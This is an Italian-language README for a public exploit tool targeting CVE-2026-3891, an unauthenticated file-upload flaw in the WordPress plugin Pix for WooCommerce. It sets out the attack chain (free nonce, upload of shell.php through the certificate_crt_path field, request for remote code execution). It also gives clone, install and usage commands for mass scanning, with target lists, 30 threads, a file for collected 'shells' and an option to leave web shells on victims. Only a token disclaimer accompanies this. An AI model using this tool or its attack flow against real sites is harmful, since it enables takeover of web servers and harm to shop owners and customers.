Panoramica

CVE-2026-3891 è una vulnerabilità di upload arbitrario di file non autenticato di gravità critica (CVSS 9.8) nel plugin WordPress Pix for WooCommerce (di linknacional) versioni ≤ 1.5.0.

Il gestore AJAX lkn_pix_for_woocommerce_c6_save_settings presenta:

Nessun controllo delle capacità — qualsiasi visitatore non autenticato può richiamarlo
Nessuna validazione del tipo di file — qualsiasi estensione di file è accettata tramite il parametro certificate_crt_path
Un nonce valido è ottenibile liberamente tramite l'endpoint lkn_pix_for_woocommerce_generate_nonce senza autenticazione

I file caricati finiscono nella directory accessibile via web /wp-content/plugins/payment-gateway-pix-for-woocommerce/Includes/files/certs_c6/.

Versioni Vulnerabili

Version	Status
≤ 1.5.0	Vulnerabile
1.6.0+	Patchata

Scoperta da: Alexis Lafontaine tramite Wordfence (13 marzo 2026)

Meccanismo della Vulnerabilità

Causa Principale

// Nonce generated without auth
add_action('wp_ajax_nopriv_lkn_pix_for_woocommerce_generate_nonce', ...);

// Upload handler — no capability check, no file type validation
add_action('wp_ajax_nopriv_lkn_pix_for_woocommerce_c6_save_settings', ...);
function c6_save_settings() {
    // No current_user_can() check
    // No wp_check_filetype() call
    move_uploaded_file($_FILES['certificate_crt_path']['tmp_name'], $dest);
}

Flusso dell'Attacco

1. POST /wp-admin/admin-ajax.php?action=lkn_pix_for_woocommerce_generate_nonce
   → Get valid nonce (no auth needed)
2. POST /wp-admin/admin-ajax.php?action=lkn_pix_for_woocommerce_c6_save_settings
   → Upload shell.php via certificate_crt_path field
3. GET /wp-content/plugins/payment-gateway-pix-for-woocommerce/Includes/files/certs_c6/shell.php
   → RCE

Installazione

git clone https://github.com/shinthink/CVE-2026-3891.git
cd CVE-2026-3891
pip install -r requirements.txt

Utilizzo

python cve_2026_3891.py -t target.com
python cve_2026_3891.py -f targets.txt -o shells.txt
python cve_2026_3891.py -t target.com --debug --no-cleanup

Argomenti

  -t, --target      Single target
  -f, --file        Target list
  -o, --output      Save RCE URLs
  --threads         Workers (default: 30)
  --no-cleanup      Leave shells on target
  --debug           Show every request
  -v, --verbose     Verbose output

Dichiarazione di non responsabilità

SOLO PER SCOPI EDUCATIVI E DI TEST AUTORIZZATI. Gli autori non si assumono alcuna responsabilità per un uso improprio.

Riferimenti

Risorsa	Link
Avviso Wordfence	wordfence.com
Voce NVD	CVE-2026-3891
Ricercatore	Alexis Lafontaine

_{Non affiliato a linknacional o Pix for WooCommerce.}

CVE-2026-3891

Più Popolari

CVE-2026-3891 — Pix for WooCommerce RCE tramite Caricamento File Non Autenticato

Fuga di Nonce → Upload certificate_crt_path → Esecuzione di Codice